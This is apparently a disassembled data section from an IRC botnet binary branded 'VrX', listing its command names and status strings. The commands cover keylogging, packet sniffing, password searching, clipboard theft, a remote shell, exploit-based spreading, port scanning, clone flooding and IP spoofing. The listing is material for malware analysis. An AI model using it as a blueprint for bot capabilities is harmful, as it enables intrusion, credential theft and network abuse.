aA: ; DATA XREF: sub_401ACD+4784o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo
align 10h
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o
aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o
unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo
; sub_409909+5F0o
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo
align 4
unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo
align 4
unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o
aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o
; sub_401ACD+443Do ...
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo
align 4
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o
align 10h
dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_ db '- No thread found.',0
align 10h
dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o
aAlreadyRunning db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o
align 10h
unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoVrxSnifferTh db '- No VrX sniffer thread found.',0
unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxPacketSniff db '- VrX packet sniffer active.',0
align 10h
unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o
aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo
aAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao
; sub_401ACD+41EAo ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo
aV: ; DATA XREF: sub_401ACD+3FE4o
; ___:004387BCo ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o
align 10h
aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o
; sub_401ACD+453Fo
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o
align 10h
aO: ; DATA XREF: sub_401ACD+3E74o
; ___:00438AECo
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do
; sub_401ACD+583Ao ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o
align 10h
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o
align 10h
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o
align 4
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o
align 4
aJ: ; DATA XREF: sub_401ACD+3D32o
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D04o
; ___:004387C4o ...
unicode 0, <n>,0
unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do
align 10h
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o
align 10h
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AB7o
; sub_401ACD+3AF2o
dd 0
dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3A7Co
dd 1
dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A41o
; sub_401ACD+3B62o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo
align 10h
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o
; sub_401ACD+3991o ...
align 10h
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o
; sub_401ACD+3CEDo
align 4
dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+369Ao
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do
dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo
; sub_401ACD+3712o ...
dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o
; sub_40AAAC+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o
; sub_401ACD+3520o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o
; sub_401ACD+3D49o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o
; sub_401ACD+34F4o ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o
; sub_401ACD+3D1Bo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o
align 10h
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o
; sub_401ACD+47C9o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo
align 4
aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo
align 4
dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32A4o
dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o
dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
; sub_401ACD+385Co ...
dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo
; sub_401ACD+3275o ...
dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo
; sub_401ACD+4756o
unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo
db 3, 34h, 2
db 56h ; V
db 72h, 58h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o
align 10h
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co
align 10h
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o
align 4
unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o
align 4
unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o
; sub_401ACD+3F71o
unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0
align 10h
unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0
align 4
dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
db 'Hackers.com).',0
dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o
aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2D8Eo
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o
align 4
unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o
aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o
dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o
unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
; sub_401ACD:loc_409570o ...
align 4
unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec db '8,1-VrX- Disconnecting.',0
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
; sub_401ACD+78C1o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
align 4
unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
align 4
unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0
align 4
unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+2917o
dd 65726874h, 2E736461h, 0
dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o
unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList db '8,1-VrX- Alias list.',0
align 4
unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2815o
dd 2E676Fh
unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn db '8,1-VrX- Network Info.',0
unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf db '8,1-VrX- System Info.',0
align 4
unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB db '8,1-VrX- Removing Bot.',0
unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+2658o
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o
align 4
unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 4
unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0
align 4
unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0
align 4
dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+2456o
dd 2Dh
unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo
; sub_40BD91+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o
; sub_40BD91+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o
db 3, 34h, 2
db 4Dh ; M
db 61h, 2 dup(53h)
db 20h
db 53h, 63h, 41h
db 6Eh ; n
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start scan, port is invalid.',0
unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o
; sub_401ACD+5B20o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o
; sub_401ACD+5B19o
align 4
dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
align 4
unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+1BC8o
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o
align 4
aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co
align 10h
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o
unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB db '8,1-VrX- Crashing bot.',0
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o
; sub_401ACD+1B71o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo
align 10h
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o
align 10h
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o
align 10h
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o
; sub_401ACD+3C81o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo
align 10h
